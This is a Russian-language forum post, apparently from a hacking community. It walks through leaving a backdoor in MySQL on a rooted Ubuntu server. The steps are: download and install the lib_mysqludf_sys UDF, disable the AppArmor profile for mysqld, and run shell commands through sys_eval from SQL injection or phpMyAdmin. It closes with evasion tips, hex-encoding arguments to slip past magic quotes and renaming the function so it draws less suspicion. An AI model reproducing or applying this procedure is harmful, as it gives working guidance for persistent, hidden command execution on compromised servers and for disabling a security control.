под *nix:
Как оказалось, заполучив рута на системе (linux), можно оставить что-то типо бекдорчика в MySql (выполнение системных команд через sql-иньекцию например, или прямо из phpmyadmin). Прочитал статью Razor-а, но там только виндовз, решил покапать в убунте, итак, последовательность действий (всё делалось на Ubuntu 9.10):
1. Рутаем сервак
2. Выполняем следующее:
Цитата:
wget http://www.mysqludf.org/lib_mysqludf_sys/lib_mysqludf_sys_0.0.3.tar.gz -q
tar xzf lib_mysqludf_sys_0.0.3.tar.gz
sh install.sh
|
нам выдаст примерно следующее:
Цитата:
Compiling the MySQL UDF
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o /usr/lib/lib_mysqludf_sys.so
MySQL UDF compiled successfully
-e
Please provide your MySQL root password
Enter password:
ERROR 1126 (HY000): Can't open shared library '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'.....
|
как видно, пути отличаются, поэтому создаем /usr/lib/mysql/plugin/ и просто копируем туда lib_mysqludf_sys.so
опять
и всё установилось. Замечательно, теперь у нас по идее есть sys_eval функция из этой библиотеки, которая позволит нам выполнять системные команды. Проверяем:
Цитата:
mysql> select sys_exec('id');
+----------------+
| sys_exec('id') |
+----------------+
| 32512 |
+----------------+
1 row in set (0.01 sec)
|
видим, фигу. Оказалось в линксах есть некий AppArmor, что типо фаервола, который и следит, чтобы
приложения делали то, что им полагается, создавая для каждого приложения свой профиль безопасности.
В Ubuntu 9.10 профиль mysql находится по адресу:
/etc/apparmor.d/usr.sbin.mysqld и выглядит примерно так:
Цитата:
# vim:syntax=apparmor
# Last Modified: Tue Jun 19 17:37:30 2007
#include <tunables/global>
/usr/sbin/mysqld {
include <abstractions/base>
include <abstractions/nameservice>
include <abstractions/user-tmp>
include <abstractions/mysql>
include <abstractions/winbind>
capability dac_override,
capability sys_resource,
capability setgid,
capability setuid,
network tcp,
/etc/hosts.allow r,
/etc/hosts.deny r,
/etc/mysql/*.pem r,
/etc/mysql/conf.d/ r,
/etc/mysql/conf.d/* r,
/etc/mysql/my.cnf r,
/usr/sbin/mysqld mr,
/usr/share/mysql/** r,
/var/log/mysql.log rw,
/var/log/mysql.err rw,
/var/lib/mysql/ r,
/var/lib/mysql/** rwk,
/var/log/mysql/ r,
/var/log/mysql/* rw,
/var/run/mysqld/mysqld.pid w,
/var/run/mysqld/mysqld.sock w,
}
|
у нас два варианта - совсем удалить его) или подредактировать.
делаем:
Цитата:
/etc/init.d/apparmor stop
|
и просто каментим "#" в /etc/apparmor.d/usr.sbin.mysqld все, что между { и } (ну первое что пришло в голову, может можно что и получше придумать), сохраняем,
Цитата:
/etc/init.d/apparmor start
|
всё, apparmor запущен, но mysql им уже не контролируется, проверяем:
Цитата:
mysql> select sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=112(mysql) gid=123(mysql) groups=123(mysql)
|
+--------------------------------------------------+
1 row in set (0,01 sec)
|
заработало, и будет работать и из браузера и из phpmyadmin
Использованные материалы:
http://bernardodamele.blogspot.com/2009/01/mysql-udf-and-apparmor.html
http://0x80.org/blog/?p=298
http://www.xakep.ru/magazine/xa/123/042/1.asp
http://raz0r.name/obzory/mysql-bekdor-dlya-windows/
PS:
1) sys_eval(0x6964)==sys_eval('id'), меджики в пролете
2) sys_eval - палевное название функции, но название можно поменять, сорцы-то у нас есть